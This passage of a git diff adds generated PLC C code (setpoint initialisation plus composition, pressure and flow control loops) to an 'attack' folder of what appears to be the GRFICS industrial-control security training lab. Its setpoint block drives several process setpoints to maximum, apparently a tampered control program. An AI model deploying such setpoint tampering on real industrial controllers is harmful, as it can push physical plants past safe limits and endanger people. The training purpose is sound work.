b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml new file mode 100644 index 0000000..c5afdb1 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/beremiz.xml @@ -0,0 +1,4 @@ + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c new file mode 100644 index 0000000..0dd2355 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.c @@ -0,0 +1,29 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +#include "accessor.h" + +#include "POUS.h" + +// CONFIGURATION CONFIG0 + +void RES0_init__(void); + +void config_init__(void) { + BOOL retain; + retain = 0; + + RES0_init__(); +} + +void RES0_run__(unsigned long tick); + +void config_run__(unsigned long tick) { + RES0_run__(tick); +} +unsigned long long common_ticktime__ = 50000000ULL; /*ns*/ +unsigned long greatest_tick_count__ = 0UL; /*tick*/ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h new file mode 100644 index 0000000..7050753 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.h @@ -0,0 +1,2 @@ +#include "beremiz.h" + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o new file mode 100644 index 0000000..3d987f8 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Config0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/LOCATED_VARIABLES.h diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c new file mode 100644 index 0000000..d1856d9 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.c @@ -0,0 +1,1081 @@ +void LOGGER_init__(LOGGER *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MSG,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->LEVEL,LOGLEVEL__INFO,retain) + __INIT_VAR(data__->TRIG0,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void LOGGER_body__(LOGGER *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + if ((__GET_VAR(data__->TRIG,) && !(__GET_VAR(data__->TRIG0,)))) { + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) + + LogMessage(GetFbVar(LEVEL),(char*)GetFbVar(MSG, .body),GetFbVar(MSG, .len)); + + #undef GetFbVar + #undef SetFbVar +; + }; + __SET_VAR(data__->,TRIG0,,__GET_VAR(data__->TRIG,)); + + goto __end; + +__end: + return; +} // LOGGER_body__() + + + + + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(0, data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_EVAL_body__() + + + + + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->STATE,0,retain) + __INIT_VAR(data__->BUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->PREBUFFER,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->TRIGM1,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->TRIGGED,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + #define GetFbVar(var,...) __GET_VAR(data__->var,__VA_ARGS__) + #define SetFbVar(var,val,...) __SET_VAR(data__->,var,__VA_ARGS__,val) +extern void __PythonEvalFB(int, PYTHON_EVAL*);__PythonEvalFB(1,(PYTHON_EVAL*)(void*)data__); + #undef GetFbVar + #undef SetFbVar +; + + goto __end; + +__end: + return; +} // PYTHON_POLL_body__() + + + + + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->N,0,retain) + __INIT_VAR(data__->TRIG,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->CODE,__STRING_LITERAL(0,""),retain) + __INIT_VAR(data__->ACK,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->RESULT,__STRING_LITERAL(0,""),retain) + PYTHON_EVAL_init__(&data__->PY_EVAL,retain); + __INIT_VAR(data__->COUNTER,0,retain) + __INIT_VAR(data__->ADD10_OUT,0,retain) + __INIT_VAR(data__->EQ13_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->SEL15_OUT,0,retain) + __INIT_VAR(data__->AND7_OUT,__BOOL_LITERAL(FALSE),retain) +} + +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,ADD10_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->COUNTER,), + (UINT)1)); + __SET_VAR(data__->,EQ13_OUT,,EQ__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->N,), + (UINT)__GET_VAR(data__->ADD10_OUT,))); + __SET_VAR(data__->,SEL15_OUT,,SEL__UINT__BOOL__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (UINT)__GET_VAR(data__->ADD10_OUT,), + (UINT)0)); + __SET_VAR(data__->,COUNTER,,__GET_VAR(data__->SEL15_OUT,)); + __SET_VAR(data__->,AND7_OUT,,AND__BOOL__BOOL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (BOOL)__GET_VAR(data__->EQ13_OUT,), + (BOOL)__GET_VAR(data__->TRIG,))); + __SET_VAR(data__->PY_EVAL.,TRIG,,__GET_VAR(data__->AND7_OUT,)); + __SET_VAR(data__->PY_EVAL.,CODE,,__GET_VAR(data__->CODE,)); + PYTHON_EVAL_body__(&data__->PY_EVAL); + __SET_VAR(data__->,ACK,,__GET_VAR(data__->PY_EVAL.ACK,)); + __SET_VAR(data__->,RESULT,,__GET_VAR(data__->PY_EVAL.RESULT,)); + + goto __end; + +__end: + return; +} // PYTHON_GEAR_body__() + + + + + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->RAW_INPUT_VALUE,0,retain) + __INIT_VAR(data__->SCALED_REAL,0,retain) + __INIT_VAR(data__->REAL_MAX,0,retain) + __INIT_VAR(data__->REAL_MIN,0,retain) + __INIT_VAR(data__->RAW_MAX,65535,retain) + __INIT_VAR(data__->RAW_MIN,0,retain) + __INIT_VAR(data__->RATE,0,retain) + __INIT_VAR(data__->OFFSET,0,retain) +} + +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,RATE,,((__GET_VAR(data__->REAL_MAX,) - __GET_VAR(data__->REAL_MIN,)) / UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)(__GET_VAR(data__->RAW_MAX,) - __GET_VAR(data__->RAW_MIN,))))); + __SET_VAR(data__->,OFFSET,,(__GET_VAR(data__->REAL_MIN,) - (UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_MIN,)) * __GET_VAR(data__->RATE,)))); + __SET_VAR(data__->,SCALED_REAL,,((UINT_TO_REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->RAW_INPUT_VALUE,)) * __GET_VAR(data__->RATE,)) + __GET_VAR(data__->OFFSET,))); + + goto __end; + +__end: + return; +} // SCALE_TO_REAL_body__() + + + + + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->REAL_IN,0,retain) + __INIT_VAR(data__->UINT_OUT,0,retain) + __INIT_VAR(data__->DIV1_OUT,0,retain) + __INIT_VAR(data__->MUL4_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT6_OUT,0,retain) +} + +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,DIV1_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->REAL_IN,), + (REAL)100.0)); + __SET_VAR(data__->,MUL4_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV1_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT6_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL4_OUT,))); + __SET_VAR(data__->,UINT_OUT,,__GET_VAR(data__->REAL_TO_UINT6_OUT,)); + + goto __end; + +__end: + return; +} // SCALE_TO_UINT_body__() + + + + + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->A_IN_PURGE_REAL,47.00,retain) + __INIT_VAR(data__->A_IN_PURGE,32000,retain) + __INIT_VAR(data__->A_SETPOINT_REAL,47.00,retain) + __INIT_VAR(data__->A_SETPOINT,32000,retain) + __INIT_VAR(data__->CURR_POS,16000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,25.0,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,25.0,retain) + __INIT_VAR(data__->NEW_POS,16000,retain) + __INIT_VAR(data__->COMPOSITION_K,1.0,retain) + __INIT_VAR(data__->COMPOSITION_TI,99.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL3,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->COMP_MAX,100.0,retain) + __INIT_VAR(data__->COMP_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB45_OUT,0,retain) + __INIT_VAR(data__->MUL46_OUT,0,retain) + __INIT_VAR(data__->ADD42_OUT,0,retain) + __INIT_VAR(data__->LIMIT44_OUT,0,retain) +} + +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL3.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL3.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL3); + __SET_VAR(data__->,A_IN_PURGE_REAL,,__GET_VAR(data__->SCALE_TO_REAL3.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL2.,RAW_INPUT_VALUE,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MAX,,__GET_VAR(data__->COMP_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL2.,REAL_MIN,,__GET_VAR(data__->COMP_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL2); + __SET_VAR(data__->,A_SETPOINT_REAL,,__GET_VAR(data__->SCALE_TO_REAL2.SCALED_REAL,)); + __SET_VAR(data__->,SUB45_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->A_SETPOINT_REAL,), + (REAL)__GET_VAR(data__->A_IN_PURGE_REAL,))); + __SET_VAR(data__->,MUL46_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB45_OUT,), + (REAL)__GET_VAR(data__->COMPOSITION_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL46_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD42_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT44_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->ADD42_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT44_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,NEW_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // COMPOSITION_CONTROL_body__() + + + + + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SP_C,13107,retain) + __INIT_VAR(data__->A_SP_C,65535,retain) + __INIT_VAR(data__->PRESS_SP_C,65535,retain) + __INIT_VAR(data__->OVER_SP_C,65535,retain) + __INIT_VAR(data__->LEVEL_SP_C,65535,retain) + __INIT_VAR(data__->FLOW_SP,0,retain) + __INIT_VAR(data__->A_SP,0,retain) + __INIT_VAR(data__->PRESS_SP,0,retain) + __INIT_VAR(data__->OVER_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + __INIT_VAR(data__->MOVE3_OUT,0,retain) + __INIT_VAR(data__->MOVE7_OUT,0,retain) + __INIT_VAR(data__->MOVE11_OUT,0,retain) + __INIT_VAR(data__->MOVE15_OUT,0,retain) + __INIT_VAR(data__->MOVE19_OUT,0,retain) +} + +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->,MOVE3_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->A_SP_C,))); + __SET_VAR(data__->,A_SP,,__GET_VAR(data__->MOVE3_OUT,)); + __SET_VAR(data__->,MOVE7_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->FLOW_SP_C,))); + __SET_VAR(data__->,FLOW_SP,,__GET_VAR(data__->MOVE7_OUT,)); + __SET_VAR(data__->,MOVE11_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->OVER_SP_C,))); + __SET_VAR(data__->,OVER_SP,,__GET_VAR(data__->MOVE11_OUT,)); + __SET_VAR(data__->,MOVE15_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->LEVEL_SP_C,))); + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->MOVE15_OUT,)); + __SET_VAR(data__->,MOVE19_OUT,,MOVE__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)__GET_VAR(data__->PRESS_SP_C,))); + __SET_VAR(data__->,PRESS_SP,,__GET_VAR(data__->MOVE19_OUT,)); + + goto __end; + +__end: + return; +} // INITIALIZE_SP_body__() + + + + + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->PRESSURE_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE,58981,retain) + __INIT_VAR(data__->PRESSURE_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRESSURE_SP,58981,retain) + __INIT_VAR(data__->CURR_POS,30000,retain) + __INIT_VAR(data__->VALVE_POS_REAL,39.25,retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->VALVE_POS_NOMINAL,39.25,retain) + __INIT_VAR(data__->VALVE_POS,25886,retain) + __INIT_VAR(data__->PRESSURE_K,20.0,retain) + __INIT_VAR(data__->PRESSURE_TI,999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL5,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL4,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->PRESSURE_MAX,3200.00,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB57_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->SUB53_OUT,0,retain) + __INIT_VAR(data__->LIMIT55_OUT,0,retain) +} + +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL5.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL5.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL5); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL5.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL4.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL4.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL4); + __SET_VAR(data__->,PRESSURE_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL4.SCALED_REAL,)); + __SET_VAR(data__->,SUB57_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRESSURE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB57_OUT,), + (REAL)__GET_VAR(data__->PRESSURE_K,))); + __SET_VAR(data__->,POS_UPDATE_REAL,,__GET_VAR(data__->MUL60_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_POS,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->POS_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->POS_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,VALVE_POS_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,SUB53_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->VALVE_POS_REAL,), + (REAL)__GET_VAR(data__->POS_UPDATE_REAL,))); + __SET_VAR(data__->,LIMIT55_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->POS_MIN,), + (REAL)__GET_VAR(data__->SUB53_OUT,), + (REAL)__GET_VAR(data__->POS_MAX,))); + __SET_VAR(data__->SCALE_TO_UINT0.,REAL_IN,,__GET_VAR(data__->LIMIT55_OUT,)); + SCALE_TO_UINT_body__(&data__->SCALE_TO_UINT0); + __SET_VAR(data__->,VALVE_POS,,__GET_VAR(data__->SCALE_TO_UINT0.UINT_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_CONTROL_body__() + + + + + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain) { + __INIT_VAR(data__->EN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->ENO,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_K,1.0,retain) + __INIT_VAR(data__->FLOW_TI,999.0,retain) + __INIT_VAR(data__->FLOW_TD,0.0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,6554,retain) + __INIT_VAR(data__->PRODUCT_FLOW_REAL,100.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + __INIT_VAR(data__->POS_UPDATE_REAL,0.0,retain) + __INIT_VAR(data__->CURR_POS_REAL,60.9,retain) + __INIT_VAR(data__->NEW_POS,35000,retain) + __INIT_VAR(data__->CURR_POS,35000,retain) + __INIT_VAR(data__->FLOW_SET_REAL,100.0,retain) + __INIT_VAR(data__->FLOW_SET_IN,6554,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL1,retain); + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + __INIT_VAR(data__->POS_MIN,0.0,retain) + __INIT_VAR(data__->POS_MAX,100.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL2,retain); + SCALE_TO_UINT_init__(&data__->SCALE_TO_UINT0,retain); + __INIT_VAR(data__->SUB59_OUT,0,retain) + __INIT_VAR(data__->MUL60_OUT,0,retain) + __INIT_VAR(data__->ADD58_OUT,0,retain) + __INIT_VAR(data__->LIMIT40_OUT,0,retain) +} + +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,PRODUCT_FLOW_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->SCALE_TO_REAL1.,RAW_INPUT_VALUE,,__GET_VAR(data__->FLOW_SET_IN,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL1.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL1); + __SET_VAR(data__->,FLOW_SET_REAL,,__GET_VAR(data__->SCALE_TO_REAL1.SCALED_REAL,)); + __SET_VAR(data__->,SUB59_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->FLOW_SET_REAL,), + (REAL)__GET_VAR(data__->PRODUCT_FLOW_REAL,))); + __SET_VAR(data__->,MUL60_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + 